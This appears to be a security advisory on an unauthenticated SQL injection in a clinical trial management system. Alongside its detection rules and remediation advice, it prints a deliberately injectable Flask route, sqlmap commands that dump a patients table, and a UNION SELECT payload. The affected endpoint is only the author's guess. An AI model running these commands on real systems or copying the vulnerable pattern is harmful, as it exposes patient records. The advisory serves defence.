CVE-2024-10440

Executive Summary

CVE-2024-10440 is a critical SQL Injection vulnerability in Sunnet's eHDR CTMS (Clinical Trial Management System). An unauthenticated remote attacker can inject arbitrary SQL commands to read, modify, and delete database contents. The vulnerability has a CVSS score of 9.8, indicating maximum severity. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, suggesting low exploitation likelihood at this time. However, due to the lack of authentication requirements and the potential for full database compromise, this vulnerability poses a significant risk to affected systems.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL commands, leading to complete compromise of confidentiality, integrity, and availability of the database.

Deep Dive & Mechanics

The eHDR CTMS application fails to properly sanitize user-supplied input before incorporating it into SQL queries. This allows an attacker to inject malicious SQL statements via HTTP requests to vulnerable endpoints. The injection point likely resides in parameters such as id, search, or other query string parameters that are directly concatenated into SQL statements without parameterization or escaping.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., /api/patients?id=1).
2. Attacker appends a SQL payload, such as ' OR '1'='1 or ' UNION SELECT ....
3. The application executes the malicious SQL, returning unauthorized data or allowing data manipulation.
4. Attacker can extract, modify, or delete database contents.

Potential Impact:

• Full database dump (patient records, clinical trial data, credentials).
• Data modification (altering trial results, patient information).
• Data deletion (loss of critical clinical data).
• Potential lateral movement if database credentials are reused.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is typical of SQL injection:

Vulnerable Code (Example):

# Python Flask example
@app.route('/api/patients')
def get_patient():
    patient_id = request.args.get('id')
    query = f"SELECT * FROM patients WHERE id = {patient_id}"
    cursor.execute(query)
    return cursor.fetchall()

Patched Code (Example):

# Python Flask example with parameterized query
@app.route('/api/patients')
def get_patient():
    patient_id = request.args.get('id')
    query = "SELECT * FROM patients WHERE id = %s"
    cursor.execute(query, (patient_id,))
    return cursor.fetchall()

The patched version uses parameterized queries, which prevent SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Sunnet eHDR CTMS instance (e.g., http://target-ip:8080)
• Tools: sqlmap, Burp Suite, custom Python scripts

Exploitation Steps:

1. Identify vulnerable parameter (e.g., id in /api/patients?id=1).
2. Use sqlmap to automate exploitation:

   sqlmap -u "http://target-ip:8080/api/patients?id=1" --batch --dbs
   

3. Extract database contents:

   sqlmap -u "http://target-ip:8080/api/patients?id=1" --batch -D eHDR_db --tables
   

4. Dump specific tables:

   sqlmap -u "http://target-ip:8080/api/patients?id=1" --batch -D eHDR_db -T patients --dump
   

Manual Payload Example:

http://target-ip:8080/api/patients?id=1' UNION SELECT 1,2,3,4,5--

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in web logs (e.g., ' OR, UNION SELECT, --).
• Use WAF rules to block suspicious SQL keywords.
• Implement input validation and parameterized queries.

Honeypot:

• Deploy a fake endpoint that mimics the vulnerable parameter and logs attacker behavior.

Response:

• Immediately isolate affected systems.
• Review database logs for unauthorized queries.
• Rotate all credentials stored in the database.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing SQL keywords (' OR, UNION, SELECT, --, #, /*)
  • Unusual query strings with multiple parameters or encoded characters
  • Requests to /api/patients, /api/trials, or similar endpoints with suspicious parameters

• Host IOCs:

  • Database logs showing unexpected queries (e.g., SELECT * FROM information_schema.tables)
  • Unauthorized database connections from external IPs
  • Modified or deleted records in patient or trial tables

• File IOCs:

  • Temporary files created by sqlmap or similar tools (e.g., /tmp/sqlmap*)

Detection Engineering

YARA Rule

rule CVE_2024_10440_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Sunnet eHDR CTMS"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-10440"
    strings:
        $s1 = "' OR" nocase
        $s2 = "UNION SELECT" nocase
        $s3 = "1=1" nocase
        $s4 = "admin'--" nocase
        $s5 = "information_schema" nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-10440 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in HTTP requests to Sunnet eHDR CTMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - "' OR"
            - "UNION SELECT"
            - "1=1"
            - "admin'--"
            - "information_schema"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in non-vulnerable parameters
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-10440 SQL Injection Attempt"; flow:to_server,established; content:"' OR"; http_uri; nocase; content:"UNION SELECT"; http_uri; nocase; distance:0; content:"1=1"; http_uri; nocase; distance:0; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network.
2. Apply input validation and parameterized queries to all database interactions.
3. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
4. Review database logs for unauthorized access and data exfiltration.

Long-term Fix:

• Patch: Await official patch from Sunnet. If unavailable, consider migrating to a different CTMS solution.
• Code Review: Conduct a thorough security audit of the application code.
• Training: Educate developers on secure coding practices (OWASP Top 10).

Workaround:

• Disable vulnerable endpoints if possible.
• Implement strict input validation (whitelist allowed characters).
• Use a reverse proxy to filter malicious requests.

Valters IT
Cyber Threat Intelligence & DevSecOps